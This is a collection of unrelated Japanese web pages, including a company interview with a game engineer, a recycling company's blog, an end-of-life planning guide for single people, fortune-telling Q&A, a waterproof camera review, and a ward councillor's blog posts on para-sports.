株式会社テクノードが制作し、登録者数15万人を突破した戦略SLG(シミュレーションゲーム)『政剣マニフェスティア』に企画提案から携わったKoujiさん。今回はそんなKoujiさんに『政剣マニフェスティア』制作の裏側、そして仕事に対する姿勢についてお話しを伺いました。
Mizuho:今回はインタビューにご対応いただきありがとうございました。まずはKoujiさん自身についてお伺いしたいと思っています。中途採用で2013年にアクロビジョンに入社されたと思いますが、前職では何をされていたんですか?
Kouji:前職ではインフラエンジニアとしてLinux OSの運用・保守作業をしていました。でも働いている中で、どうしても学生の頃の「ゲームを作りたい」という夢が忘れられず転職活動をしていて、アクロビジョンへ入社するに至りました。
Mizuho:前職はインフラエンジニアだったんですね。現在アクロビジョンではゲーム開発のエンジニアとして働いていると思いますが、全く違う業務へのチャレンジは大変ではなかったですか?
Kouji:プロジェクト立ち上げからの開発経験が無かったので、大変ではありました。分からないことは会社の福利厚生を利用するなどしてひたすら勉強しましたね。一番大事なのは、自分の書いたコードを何度も見直すことでしょうか。プログラミングは、スポーツと同じで一回やればうまくなるものではありませんから。一生懸命分析してレビューをする。そのあと分からないことがあれば本を読み、それを書く。やりっぱなしにしないことが大事だと感じました。
Mizuho:なるほど、「やりっぱなしにしない」というのは、エンジニアだけではなくどの職種にも共通して言える大切なことですね。話しは変わって、入社から3年目でゲームの企画からプロジェクトに参画をされたと思います。今回の『政剣マニフェスティア』を企画したきっかけはどんなことだったんでしょうか?
Kouji:常駐先の会社で、面白いゲームの企画を募集していたのがきっかけでした。ゲームがずっと好きだったこともあり、いつも企画に関して考えを巡らせていて、「こんなゲームを作りたい、こんなゲームなら絶対人気になる」っていうものが自分の中では見えていたんですね。なので、これはチャンスだと思い二日間で企画書を作成して提出しました。そうして企画が通ったのが、試行錯誤しながら進める昔ながらのゲームの楽しさを盛り込んだ『政剣マニフェスティア』です。
Mizuho:自分の「やりたい」が叶った瞬間ですね。このプロジェクトでは何を担当なされたのでしょうか?
Kouji:ソースコード部分の担当から、キャラクターの原案まで……。何でもやりましたね。こちらのゲームは6人前後のプロジェクトで、一般的なソーシャルゲーム開発の半分程度のスタッフだったので、基本的に人が足りませんでした。なので「プログラマーはプログラム専業」という形にはなりません。知らないことをやらなきゃいけないですからね。具体的には、ターゲットの市場調査なども独自で調べていました。下手にKPIなどのデータに振り回されると、つまらない単純なゲームになるので、プラットフォームのメインターゲット層の情報が集まる匿名掲示板やSNSを見てデータを収集していました。そんな感じで1年半ほど、開発をしていました。
Mizuho:その試行錯誤の1年半の結果が実った瞬間はすごい達成感ですよね。そんなKoujiさんが仕事をする上で大切にしていることはどんなことですか?
Kouji:「目的」ですかね。それさえ正しければ大概の事はどうにかなる。私の本プロジェクトでの目的は、今巷に溢れているゲームでは満足できないユーザーに楽しんで貰うということでした。だから、自分たちにしかできない、今この世界にないゲームをつくる。それを目指して制作していました。新しい道を切り開きたいなと思っています。かっこよく言うと、それが私の「夢」であり、「希望」ですかね。
Mizuho:素敵な夢ですね。そのうえで今後やっていきたい事は何ですか?また、皆さんにアドバイスがあればお聞かせください。
Kouji:今後もずっとゲーム業界に携わりたいと思っています。正直、やりたいことがあっても、お金と人は大手じゃないと集まりません。しかし、少人数の会社であれば、意見が通ったり、兼任でいろいろ任される事があります。実績が無い方でも中小企業であれば実力次第でチャンスが掴めます。そこでの実績をもとに大手での活躍の場を作り、さらに大きなことを成し遂げる。アクロビジョンはそれができる会社だと思います。なのでその土台の上でいろいろとチャレンジしていきたいと思いますし、皆さんにもチャレンジしてほしいと思っています。
親切に答えてくださったKoujiさん、ありがとうございました。ゲームへの熱い思い、そしてユーザーへの配慮を忘れないその姿勢からは多くの事を学ばせて頂きました。アクロビジョンは社員のチャレンジを応援する会社で今後もあり続けたいと思います。
株式会社アクロビジョン's job postings
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Web Engineer
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Systems Engineer
Sales / Business Development
【社員インタビュー】登録者数15万人突破!戦略SLGの企画提案をしたエンジニアに話を聞いてみた
株式会社アクロビジョン / 業務管理部 人事担当 主任
株式会社アクロビジョン / 業務管理部 人事担当 主任
大学時代に人材マネジメントを学び、人材に関わるビジネスに興味を持ち、新卒で株式会社マイナビに就職。 人材紹介事業部にて法人営業とコンサルタントを兼任。 2015年...
株式会社アクロビジョン's Blog
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2月のエコキャップ報告です。
2月中間   30件  800kgです。
今月は新たに、三原市大和町小学校5校がこのエコキャップ活動に参加されることになりました。
大和町の小学校も、学校の統廃合により4月から新しい学校になりますが「最後に名前の残る事業を」という事の一環で取り組んで頂けることになりました。
当社もしっかり応援しますので、よろしくお願いします!
posted by さく at 10:31| Comment(0) | TrackBack(0) | エコキャップ活動
2013年02月01日
一月は急ぐ、二月は逃げる、三月は去る・・・・。
毎年必ず「早いよね〜」って言いながら過ごしてますが、やっぱりこの時期は気ぜわしいんですよね。
何かとやることがぎっしり・・・そんな毎日に追われてるので早い気がしているんでしょう。
ま、と言いながら「充実した毎日」と思えば、また新しい事も出来そうな気がします
早速ですが、一月の集計結果を連絡させて頂きます!
一月合計   90件   1960kg  の善意を皆様からお預かりしました
地球環境の為、未来の子供たちの為に活かしてゆこうと思います。
今月からは、三原市大和町の格小学校、久井町の羽和泉小学校さんがエコキャップ活動に取り組んで頂ける事になりました!
この大和町の小学校、久井町の小学校は今年の2月で閉校し合併後この春から新しいい小学校としてスタートします。
その合併を前に「この学校の名前を残したい!」という活動の一つに、この活動に参加をして頂ける事になった学校もあります。
こういった取り組みを、また新しい学校になっても取り組んで頂ければ嬉しいですね
当社もしっかりと協力させて頂きます。
このように、どんどんこの地域でエコキャップ活動を広げようと、当社も活動を始めています。
各学校や事業所などで興味がありましたら、HPでも電話でも構いませんのお問い合わせください。
さて、今日もがんばりましょう!
posted by さく at 09:19| Comment(0) | TrackBack(0) | エコキャップ活動
2013年01月28日
今日は三原市市街地や尾道でも積雪が見られたそうで・・
当然、我が久井町もしっかりと雪が降ってました
今日は朝の体操を止め、工場や事務所前も総動員で雪かきしました
工場はゴミを搬入される一般の方や、また収集車などがスリップしないよう、雪かき〜塩カリをまき準備万端にします。
まだまだこれから雪は降りそうですが、皆さん運転には十分気をつけましょう!
それと、今年25年度4月から三原市のごみの出しルールがかわります。
一つは可燃物の指定袋の導入、もう一つは不燃物の出し方が少し変わります。
可燃物の指定袋の導入は、現在行われている無料券の発券による可燃物の減量政策が、長年やっていることにより開始当時より減量の効果が見られなくなった為に、次に考えられた政策です。
この指定袋、近隣の他市町では早くから導入しているところもあり、一定の減量効果がみられるので三原市での導入にも期待が持てると思います。
不燃物の出し方の変更ですが、いままで解りにくかった「缶」今までは「食糧品用の缶」は燃やせないごみ。「飲料用の缶」は資源ごみ。となっていましたが、25年度から「缶」はすべて資源ゴミになる予定です。そのほかの汚れているものなどは、従来通り燃やせないゴミとなります。
詳しくは三原市環境管理課のHPでご確認下さい。
http://www.city.mihara.hiroshima.jp/shisei/kakuka/kankyo-kanri/gomidasiruru/siteibukurodonyu/seidohenko.html
いずれにしても、ゴミを出す人の「意識」によって、ゴミの量、活かせるものの量は大きく変わります!
「限りある資源を未来の為に」
さあ、今週もがんばりましょう!
posted by さく at 11:26| Comment(0) | TrackBack(0) | 日記
2013年01月17日
毎日、寒い日が続いています
先日、三原市久井町では8センチ位の雪が降りました。
関東地方と同じように、重く、湿った雪だったため朝からドサドサと雪が落ちる音で目が覚め、窓から見て
みると一面の雪景色・・
これからまだまだ降りそうなので、運転など気をつけたいものです
と、こんな寒い話題ではなく、先日嬉しいニュースが入ってきました!
三原市久井町の小学校全校で、エコキャップ活動に参加してくれることになりました。
この三原市久井町の小学校は現在3校ありますが、今年4月から統廃合により新しい小学校としてスタート
いま、各学校では「自分たちの母校の名前を残そう!」と、いろんな催し物を企画しているそうで、1校は
その企画の一つとして、この活動に取り組んでくれるそうです
4月から新しい学校でスタートしても、新しい学校としてこの気持ちを引き継いで行ってくれればなとおも
私たちも精いっぱい応援しますよ〜
posted by さく at 15:08| Comment(0) | TrackBack(0) | 日記
2012年12月06日
とうとうこの季節がやってきました・・・
事務所前の今朝の風景です・・・
例年に比べて、少し初雪が早いような気がします
気温もあまり上がらないようなので、体調管理には気をつけましょう!
話は変わり、本日とてもうれしい報告とお手紙を頂きました!
先日、清掃の指導に伺った特別支援学校の先生と生徒さんから、先日行われた清掃技能検定の結果とお礼のお手紙を頂きました!
なんと!指導させて頂いた生徒さん二名がテーブル拭き1級 1名が3級 を取得する事が出来たとの事。
モップの技能検定はなかなか、練習もできない中チャレンジした結果2名が4級 を取得されたそうです。
検定の結果はもとより、何よりも嬉しかったのが「もっと練習して、もっと頑張りたい!」と手紙に書いてあったこと。
きっと、次の技術検定に挑んだときには必ずいい結果が出るでしょうね
また新たな刺激を受け、今日も一日がんばろうという気持ちになりました!
posted by さく at 11:41| Comment(0) | TrackBack(0) | 日記
2012年11月30日
日に日に寒くなり、北海道では大寒波が襲来してるそうで・・そこに来て大規模停電・・避難されている方のインタビューを今朝見ましたが「電気がないと何もできない・・」の一言で、なんだか人間の無力さを痛感してしまいました。
今度の選挙でもこの「エネルギー問題」に関しての争点が大きくとり立たされてはいますが、私は基本「過剰」ではなく「適正かつ安全」が確保できるのであれば、一概には「何も要らん」とは言えない気がしています。
「安全」と「適正」が確保されるにもかなり時間はかかると思うのですが・・。
誰が悪い、何が悪い、制度が悪い・・当然色々あるとは思いますが一番の原因はやはり、自分たちが今まで何事にも無関心で、電気一つとっても生活の中に電気がある事を「当たり前」に思っていた人間の怠慢が招いてしまった、今の状況なんだとおもいます。
この「あたりまえ」がすこ時づついろんな方面で見直されようとしています。私たちの業界もそうです。常に自分たちの業を見直し、「捨てる」時代から「活かす」がいい意味での「あたりまえ」になるよう、日々精進していこうと思っています。
エコキャップの活動もそうです。徐々にですが「捨てる」から「活かす」という意識を持って下され方が増えてきています。もっともっとこの輪が大きくなるといいですね。
11月末集計   120件  3000kg
皆様からお預かりした善意をしっかりと活かしていきます!
posted by さく at 09:36| Comment(0) | TrackBack(0) | 日記
2012年11月16日
日に日に寒さが増してきていますね。
日陰などには、霜?もチラホラ見えるようになってるようで県北では初雪の情報も入ってきました。
防寒対策や風邪対策をしっかりやって、この冬も元気に過ごしていきましょう
エコキャップ11月中間報告です
11月中間(11月13日現在) 56件  1090kg
の善意を皆さまからお預かりしております。
引き続き、資源の有効利用と世界の子供たちへご協力よろしくお願い致します
http://ecocap007.com/
posted by さく at 11:09| Comment(0) | TrackBack(0) | エコキャップ活動
2012年11月12日
不法投棄撤去ボランティア
日に日に寒くなってきますね
体調管理はしっかりしていきましょう
先日、「広島県資源循環協会」の主催で、不法投棄物の撤去ボランティアに参加してきました。
地域の方、そして世羅町さんの協力のもと参加業者も合わせ、総勢約100名での作業となりました。
約三時間の作業でしたが、瓶や缶、なかにはタイヤや冷蔵庫など等・・毎回このような作業には参加させて頂いていますが、いつも思うことは「情けない」この一言です。
通常、一般ごみは各市町に処理責任がありますから、皆さんのご家庭から出るごみはステーション等に持っていけばキチンと処理されます。当然、皆さんもその市町のルールに則ってごみを出されていると思います。出されたゴミは、各市町がキチンした方法で責任をもって処理してくれています。
では、なぜこのような事が全国各地で行われてしまうのでしょうか。
お金の問題?処理方法が分からないから?
多分、捨てられる方には色々な理由があると思います。事情もあるのかもしれません。
でも、いかなる事情があろうが、私が思うこの不法投棄してしまう人の根本的な理由は
ただの「自分勝手」のなにものでもないと思っています。
「ここなら捨ててもいい」「バレなければいい」
ゴミが自分の目の前からなくなれば、処理出来たと思っているのでしょうか?
自分の目の前からは消えたかも知れませんが、捨てた場所には新しくゴミが増えているわけで、ごみがただ移動しただけにしかすぎません。
そして、その移動したゴミは不法投棄物として警察の方のご協力により調べられ、そののち身元が判明し、今度は犯罪という名前に変わって必ず自分に帰ってきます。
事実、当社もそのような作業を警察の方からの依頼で行ったこともあります。
そのような事になる前に、少し立ち止まって考えてもらいたいと思います。
「自分が責任を持って、決められたルールでキチンと捨てる」
当たり前のことを、少し興味をもって当たり前に行ってゆくことが、限りある資源を未来へ活かしてゆくことに繋がってゆくんだと思っています。
posted by さく at 10:50| Comment(0) | TrackBack(0) | ゴミの話し


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お金について心配な方が多いことが調査から分かりますが、実際に老後の資金が足りていない世帯は多いのでしょうか。
同調査の「7 種類別金融商品保有額(金融資産を保有していない世帯を含む)」によると。50代の金融資産保有額は、平均で1300万円、うち預貯金は549万円となっています。
60代では、金融資産保有額が平均で1755万円、うち預貯金は790万円となっています。
65歳で定年し、85歳まで20年間生きたとすると、定年後に支給される公的年金だけでは生活費をまかなうことができず、別に2,000万円くらいの貯金が必要にと言われているので、平均的な単身者世帯だと、老後の資金が不足することになります。
さらに、同調査の「3 金融資産の有無、預貯金口座または証券会社等の口座の有無、現在の預貯金残高」によると、50代の世帯の内、「口座を保有していて、現在、残高がある」世帯は61.5%、「口座は保有しているが、現在、残高はない」「口座を保有していない」世帯は38.5%です。
およそ4割近くの人が、無貯金で老後を迎えようとしていることが分かります。
今、持っている貯金をさらに増やすためにも、退職金がある人はそのお金を貯金したり、退職金がない人は保険の見直しや住宅ローンの見直し、固定費や変動費の節約をするようにしてください。
おひとり様・独身者が終活ですること
ここからは、独身者やおひとりさまが特にするべきことを含めて、終活ですることについて具体的に解説していきます。
遺言書を作ることは、相続してほしい身内がいる人にとっては重要なことになります。
終活をするときによく言われているエンディングノートを使って、相続について書き残すという方法もありますが、エンディングノートには法的効力がなく、遺産を巡り予期せぬ争いに発展することがまれにあります。
そのようなことを未然に防ぐ意味でも、法的な効力がある遺言書に正式な書式や形式で、あなたが希望する相続の方法を残すようにしてください。
また、孤独死などで亡くなり、遺産を相続する家族や親族がいないときは、遺産は全額国に納められることになってしまいます。
自分が亡くなった後に残る遺産を団体に寄付をしたいとか、人の役に立つように使ってほしいという希望がある場合は、必ず遺言書を作るようにしてください。
あなたの身の回りには、ここ最近使っていない物や何年も着ていない服などがたくさんあるのではないでしょうか。
このような普段使っていない物や着なくなった服などを事前に整理しておくことで、あなたが亡くなった後の遺品整理の負担を減らすことができ、気持ちの整理にもつながります。
身の回りには、普段使っている物や大切な物だけを置くようにして、要らない物や不要な物はオークションやフリーマーケットなどで売れるものは売って、売れないものは処分するようにしましょう。
また、身の回りの整理には、体力と時間がかかるので、できるだけ早い段階でするようにしてください。
65歳で定年して85歳まで20年間生きたとすると、定年後に支給される公的年金だけでは生活費をまかなうことができず、別に2,000万円くらいの貯金が必要だとお伝えしましたが、それ以外にも介護や葬儀、お墓のことを含めるとさらに多額のお金が必要になります。
終活をする上で大切なことは、今、どのくらいの財産があるのか、今後どのくらいのお金が必要なのかを把握することです。
預金や不動産、株式などの有価証券がどのくらいあるのか、また借金やローンなどがどのくらい残っているのかなどを把握して、老後に必要なお金の計画を立てるようにしてください。
また、利用することがなくなった銀行口座やクレジットカードなどの解約や廃止、利用しなくなった月額サービスなどの解約も忘れずにしてください。
独身者やおひとりさまの人が特に不安に思っているのが、孤独死ではないでしょうか。
人に死は突然やってくることがあります。
心筋梗塞や心肺停止による突然死、高齢者に多いのがケガなどにより動けなくなり、助けを求めることもできずに亡くなる飢餓死、交通事故による事故死も孤独死に含まれます。
孤独死の可能性を少しでも低くするためにも、孤独死を避ける対策をすることは大切です。
ここからは、明日からでもできる孤独死対策から時間とお金をかけてする孤独死対策まで、5つの対策を解説していきます。
周りとコミュニケーションをとる
向こう三軒両隣という言葉があるように、まずは自分が住んでいる近隣の人とのコミュニケーションをとるようにしてください。
散歩でよく見かける人や馴染みにお店の店員さん、趣味を通して知り合った友人など、自分の周りにいる人とのコミュニケーションを積極的にとるようにしてください。
コミュニケーションをとることで、周りの人が「あの人、最近見かけなくなった・・」と、あなたの存在を意識してくれることにつながります。
一人暮らしを役所に伝える
介護保険によるサービスの他に、一人暮らしをしている高齢者に生活支援を提供している自治体もあります。
自治体に一人暮らしを伝えることで、積極的に訪問してくれたり、委託業者の見守り、電話を利用した緊急通報装置、IT機器などを使った安否確認など、さまざまな手段でサービスを提供しています。
高齢化社会が進み日本人の平均寿命は、男性が81.09歳、女性が87.26歳で、国や地域別では、男性が世界3位、女性は世界2位と長寿化が進んでいるなか、一人暮らしをしている高齢者も多くいます。
今は元気だけれど、年を重ねるごとに体力は落ちていき、健康面を考えると不安は増すばかりです。
高齢になっても健康で、安心、安全に一人暮らしを続けるためにも、一人暮らしをしていることを役所に伝えるようにしてください。
訪問サービスを利用する
有料にはなりますが、自治体による安否確認以外にも民間による訪問サービスはあります。
365日毎朝、電話をかけてくれたり、毎月もしくは2ヶ月に1回の頻度で訪問してくれたり、週に一度、食材を届けてくれるなど、さまざまなサービスがあります。
あなたの家を誰かが定期的に訪問してくれるようになることで、あなたの異変に気づいてもらいやすくなります。
孤独死対策の中でも、最も安心なのが有料老人ホームやサービス付き高齢者向け住宅への入居です。
近年では介護認定を受けていなくても高齢者住宅に入居できるところも増えてきています。
職員が常駐してくれているので、安否確認や日々の健康管理、緊急時の対応など、何かあってもすぐに対応してくれる体制が整っていると安心して暮らすことができます。
趣味のサークルや健康維持のための運動機器を取りそろえている施設もあれば、24時間、看護師や介護士が常駐している施設もあります。
また、他の入居者がいることで、引きこもりや孤立といった不安も解消されるのも老人ホームに入るメリットのひとつになります。
緊急連絡先を友人・知人に教える
万が一に備えて緊急連絡先を友人や知人に教えておくことはとても大切です。
緊急連絡先には医療施設や介護施設、葬儀社や菩提寺などといったところで、大きなケガや病気、万が一のときなどに連絡する必要がある場所のことです。
緊急連絡先を教える友人や知人は、普段から交友があり、信頼できる人に教えるようにしてください。
認知症に備えて生前契約
今は元気であっても人は必ずボケて、認知症になります。
これはごく自然な流れで、どんなに体が健康であっても、どんなに人づきあいがあっても関係ありません。
認知症になると、判断力や理解力などが衰えていき、物忘れや失語、失認や失行と徐々に日常生活に支障がでてきます。
一人で暮らしている独身者やおひとりさまは、認知症になる前の元気で正常な判断ができる間に生前契約をすることで、安心して最後のときを迎えることができます。
財産管理や介護サービスの契約、遺産相続や葬儀、遺品整理など生前から死後までのことをスムーズに進めていく上でも生前契約はとても重要です。
ここからは、認知症に備える生前契約について解説していきます。
任意後見契約は、国が定めている成年後見人制度のひとつで、後見人になってもらいたい人を本人が選び、財産管理や身上監護など、あらかじめ契約で定めた法律行為を代行してもらうという契約になります。
任意後見契約は、公証役場で公正証書という形で契約を結ぶことができます。
任意後見契約のメリットは、後見人を本人が選ぶことができること、認知症などにより判断力が低下する前から利用できるということです。
契約する内容は、現金や預貯金、不動産や有価証券などの財産管理、税金や公共料金、保険料などの支払い、医療や介護サービスなどの利用に関する手続きなどがあります。
死後事務委任契約は、亡くなった後の死亡届、火葬や埋葬、遺産整理など、亡くなった後に必要な事務手続きを委任できる契約のことです。
先に解説しました任意後見契約は、契約した本人が亡くなった時点で契約が終了になるので、亡くなった後のさまざまな事務手続きについては、死後事務委任契約が必要になります。
死後事務委任契約を結ぶ人は、あなたの信頼できる知り合いの人、行政書士や司法書士など法律に詳しい人などに依頼することができます。
ここまで、独身者、おひとりさまが地域や社会とつながりながら、心穏やかに安心して最後のときを迎えられるように、独身者が今からはじめておくべき終活について解説してきました。
終活をはじめる年齢やタイミングは特にありません。
50代だと、まだまだ早いかなと思うかもしれませんが、終活はしなければいけないことも多くあり、時間と体力が必要です。
終活をすると、自分の人生を振り返ることもできるのでやり残したことに気づくことがあったり、自分の財産を見直すことで、老後に必要な資金など残された人生に必要な資金の計画も立てることができます。
最後を迎えるそのときまで自分らしく幸せに、かつ安心して過ごすことができるようにする終活はとても大切です。
この記事を読んだことをきっかけに、すぐに終活に取り組むことをおすすめします。
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-終活, おひとり様, 独身
執筆者:shukatsu
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こんにちは。九星気学初心者です! わたしは本命星が四緑木星なのですが、今年(2017年) は運勢が大きく変わりました。気学に出会ったのもそうですが、 自宅をリノベーションした影響で、 とてもスッキリした気分で過ごせています♪ 今年は気が変わるような運勢なのでしょうか?
星は四緑木星です。結婚運が上がるといいなと思い、 過去に吉方位への引っ越しで三碧木星、 切り替えしの四緑木星の吉方を取りました。 その吉方効果が現れたのかもしれませんが、 とても良いパートナーと出逢いました。 まだ付き合い始めて数ヶ月ですが、結婚を考えています。 気が早いですかね^^;結婚は大丈夫な運勢(2017年) ですか?
昔から占いが大好きで、 しょっちゅう開運のためにお部屋の断捨離をしています。 そこで一点質問があります。 私は都内に住んでいるで車の必要性を感じられなくなってしまいま した。6年ほど所有しているのですが、 そろそろ手放したいと考えています。 大きな断捨離は今年の四緑木星にとって吉となるのでしょうか?
本命星が四緑木星、月命星が三碧木星です。2015年~ 2017年の6月まで投資クラブに入っていました。 うまくいっている案件もあるのですが、 今年はほとんどがぽしゃってしまい、大損してしまいました。 今年は投資に気をつけたほうがいい運勢ですか?
運気アップのためにパートナーと一緒に今年(2017年) から九星気学を活用しています。 主に恵方参りと日盤吉方取りを頑張っています。ちょっと、 思うことがあったので質問させていただきました。今年から、 私には不思議な力?が働いているように思います。 直感がするどくなったような感覚です。 これは日盤吉方位を取っている効果なのか、 今はそういった運気なのか、どちらなのでしょうか? 分かりにくい質問ですみませんが宜しくお願いします。
直感が鋭くなっているのは、両方関係していますね。 日盤吉方位を取れば五感が高まり、直感も鋭くなります。また、 今年の四緑木星は九紫火星(後天定位で)を背負っているので、 同じく直感が冴えます。
仕事柄、斬新なアイディアを求められます。今年(2017年) は気持ちが落ち着かないことが多く、 早く結果を出そうと焦ってしまいます。 結果的にいいアイディアなんて浮かびません。 階段を一段飛ばししている感覚です。本来の四緑木星は、 落ち着いているはずなんですが、、 今年はやはり着実に階段を上がったほうがいい運勢のでしょうか?
そうですね、着実に階段を上がる時期(運勢)です。 一段飛ばしをすると、結果的に振り出しに戻ってしまいます。
九星気学(社会運勢学)を勉強中の本命-四緑木星、月命- 七赤金星です。運気アップをしたいと思い、 吉方旅行に出かけたのですが旅行で予想にしないハプニングが続い たので、吉方位だったのか? と疑問に思い今回質問させていただきました。 都内に住んでいるのですが、 2017年6月中旬に静岡からシンガポールに10日間ほど吉方旅 行に行きました。方位は南西です。初心者すぎる質問ですが、 ご回答していただけたら嬉しいです。
方位(月盤)をみると、 吉方位ではなく月命的殺という凶方位になります。 的殺方位では予想外の難がやってきます。
書店の占いコーナーで九星気学の本を見つけたのがきっかけで、 今では生活を彩る開運のエッセンスとして気学を取り入れています 。そこで、お聞きしたいことがあります。私は本命星が四緑木星、 最大吉方位が九紫火星。 つまり九紫火星の人が私にとってのラッキーパーソンだと分かりま した。その九紫火星の人が今年(2017年) になってからすごく集まるようになりました。 これは私の幸せが近いというサインなのですか?
そうですね、「最大吉方位=幸せ」ですから、 九紫火星の人が集まるのは幸せのサインになります。また、 今年の四緑木星は後天定位に九紫火星が廻座しているため、 九紫火星とご縁が多くなる年といえます。
みんなから筋肉美容師と呼ばれている四緑木星です。 お客さんから九星気学で占ってもらい、 ものすごく当たっていたことに驚いたのが気学との最初の出会い。 kigakumon.comも教えてもらい、 勉強の参考にしています!昨年から開運したいなぁと思い、 日盤吉方取りから始め、吉方位への引っ越しも済ませました。 吉方効果がゆっくりと出始めているので、 笑顔が止まらない毎日です。さて、長くなりました(笑) が質問があります。今年は高みを目指すと言いましょうか、 自分にとって大きな目標ができた年になりました。 運勢が強い年ではないと学んだので、 こんな目標を持ってもいいのか?と若干気になっています。
2017年の四緑木星は北東に廻座しています。 自然界で例えるなら『山』 さらなる高みを目指すのは良いことだと思いますよ。
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FUJIFILM XP80
1640万画素。だいたい18000円前後で販売されています。中古だと1万円を切る感じ。
Wi-Fiも対応。こんだけ色々ついててこの価格はいいですね。
持ちやすそうなカタチだし。悪くないな。これも候補かな。→2018年この後継機XP130
もう二度と紛失の悲劇を繰り返さない為に今回はストラップも強力なやつを買っておきます。
このカメラストラップ
600円程度で買えるくせになかなかやります。
がっつり手首に巻けるし、もしも手から放れても浮くから大丈夫。
こういうのを探していたのです。
海だけではなく、スノボなどでも使われているそう。
※この時は、まだ世の中にGoProすら出回ってない時代でした。今だったらアクションカメラの方が良いかもしれません。
激安防水アクションカム5選 想像以上に使えます
防水のアクションカメラは沖縄旅行でのダイビング、雪山でのスノボやスキーなどで大活躍する「動画を撮るための小さなカメラ」です。アクションカメラ、アクションカムとかウェアラブルカメラなどと呼ばれています。 ...
実際に購入したのは…RICOHのWG-4 GPS
AEONモール ライカムにフラッと立ち寄った際にKOJIMAで見つけて即買いした機種。
Gシ○ック風のビジュアル。初めて買った携帯「初代GzONE」みたい。
この黒に赤ラインのがいいですね!画素数も1600万画素。水深も14mまでOK!
RICHOって会社用のプリンタやコピー機のイメージが強いのだけど、デジカメを最初に作ったのはRICHOだそうです。知らなかった。
このWG-4GPS 、なんと期間限定セールで破格の17000円で売っていました!
たしか元は3万円ぐらいだったはず。東京の暮らしで貯まっていたBICのポイントも使える!というわけで即買い。※なだかんだこの機種は2018年までの3年間がっつり使い倒す事になりました。
ちなみに2019年現在ではもう売ってません。今買うんならFUJIFILMの防水カメラ XP140
シャッタースピードが変更出来ると、暗いときに数秒間光を取り込む事が出来るので星空や夜景の撮影がキレイに出来るそうです。星空撮れるのはいいですね。
座間味の星空がとてつもなく美しかったのだけど、写真を撮ったら真っ黒でヘコたれたばかりなので、こういう機能は欲しかったところ。
そして、説明されても何のことやらさっぱり分からなかったのですが、F値というのが2で光を取り込む量が多くて、明るくキレイに撮れるそう。そして顕微鏡モードを使うと超マクロの写真もとれると。
早速試し撮りしてこよ。
真昼間のトロピカルビーチに出向き何枚か撮影してみました。昼間の普通の撮影は問題なし。
瀬底島で水中撮影もしてみました。今のところ特に問題なし。波が強いとちょっとブレるかな。
夜空は…。シャッター優先で月を撮ったら光が強すぎて真っ白に。
なんなんだよ!ふざけやがって!
星を撮ってもブレまくって光が線みたいになります。子供の落書きみたいですね。
購入した後、カメラに詳しい友人に教えてもらったんですが、シャッタースピード落として撮る時は基本三脚使うそうです。
理屈で考えたらそりゃそうですね。シャッター開いてる間動けばブレます。実際固定したらうまく撮れました。これだから素人は…って散々バカにされました(笑)
結果としてはいい買い物が出来たと思います。今後も沖縄の海やカンボジアのトレンサップ湖で大活躍する事でしょう。
→2017年でも現役で活躍しています。めっちゃ頑丈でかなり気に入ってます。
→2018年の夏にお亡くなりになりました。なんだかんだ3年近く使った機種で結構すきでしたね。その後、富士フィルムのカメラを買って、それも壊し、最終的にキャノンのクールピクスで落ち着きました。
皆様は海に入る時はくれぐれもカメラを壊さないよう、なくさないよう気を付けて下さいね。
WG-4GPS 機能詳細(今はもう売ってないと思う)
ISO 125~6400
GPS機能付き、フルハイビジョン動画撮影
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瑞泉のおもろ15年。毎回沖縄行くとお
北谷のアラハビーチ。ここでBig Knotの
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北谷 焼肉・金城で肉を喰らう
俺:アラフォーのおっさん。
30代に入ってから、旅行業務取扱管理者の資格を取得し(今のところ仕事では一切使ってない)旅をするように。何を思ったか突然カンボジアのシェムリアップ(アンコールワットの町)に2年ほどプチ移住する。今まで2回離婚し、現在3回目の結婚生活中。3人の息子達を溺愛している。


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このまま行くと、スポンサー収入、チケット収入を超えて大きな金額の税金が投入されそうです。。。
さて、我々が一丸となって前向きな気持ちでオリンピック、パラリンピックの開催を迎えられるのか、甚だ不安な状況ではありますが、地方自治の現場にいる一人としては、少しでもプラスの効果、良い政策を導きだしたいところ。
うまくいけば、そんな一つになるでしょう。
障がい者スポーツの振興の為に、ある政策が動き始めています。
それは「特別支援学校の体育施設を地域の障がい者スポーツ団体に開放します」というもの。
■特別支援学校(とくべつしえんがっこう)とは
障害者等が「幼稚園、小学校、中学校、高等学校に準じた教育を受けること」と「学習上または生活上の困難を克服し自立が図られること」を目的とした日本の学校である。個別の学校名の末尾が盲学校(もうがっこう)・聾学校(ろうがっこう)・養護学校(ようごがっこう)であるものもあるが、これらも学校教育法における特別支援学校である。
(以上Wikipediaより抜粋)
東京にある特別支援学校は都立57校、区立5校※。
東京都は、2016年度からモデル校5校で上記学校開放を実施、2020年に向けて対象校を順次広げて行くと発表しました。
これ、すごく良い事ですよね。
これまでブログでもお伝えしてきました。
世田谷区など東京の区部に暮らす人々にとってはスポーツができる場(グランドや体育館など)は非常に少ない状況ですが、特に障がいのある方がスポーツを楽しめる場というのは極端に少ない。
例えば「車椅子バスケット始めたい!」と思っても、なかなか活動の場がないんですよね。
特別支援学校の施設なら、外部の障がい者にとっても使いやすいバリアフリーな施設になっていますし、地域の皆さんとの連携も上手くいくのではないかな。
スポーツを愛する全ての人にユニバーサルな都市、東京。
オリンピック、パラリンピックを機に、そんなレガシー(遺産)が産まれる事を楽しみにしています。
(桃野も微力ながら頑張ります!)
※平成27年4月1日現在の数字、ちなみに世田谷区立の特別支援学校はありません。
次から次へと驚きのニュースが・・・。まだまだ新たな事実が明らかになっていくのでしょう。知るのが恐いくらいです。
中学生のある訴えに対する、世田谷区長の答え
選挙の結果は必ず、政治家の政策、言動に影響を及ぼし、国の政策に影響を与えます。絶対。間違いない。
子ども達が、思いっきり走り回れる!(転んでも痛くない、たぶん)今週末より無料開放です。
我々の子ども達の暮らしを守る為に。大人が責任をもってやらなければいけないコト。
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桃野が訴えてきた政策が一歩前進です。くみん窓口や出張所でクレジットカード、電子マネー、〜pay(二次元コード決済)が利用できるようになりました。
区職員の定年が60歳から65歳に、これから10年間で2.5億円の人件費増。民間はまだ「再雇用」制度などが主。定年引き上げは公務員優遇の歪みではないか。
「学校に行かなくてもいいんだよ」という「優しい排除」。いじめ被害者が教室、そして学校から離脱していく一方で、加害者は学校に通い続ける。
桃野の世田谷区議会での質問動画、5分にまとめました。桃野の訴えてきた施策が実現へ前進。是非ご覧ください。
学校での熱中症対策。中学校の体育授業での帽子着用、水泳授業のラッシュガード着用を禁止するなんてもってのほか。意味不明のルールは撤廃を。


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2017年4月15日 [その他, お客様, 僕のおもてなし, ちょっとにこだわりたい, デザインカラー, 感謝です, 頼み方と注文方法]
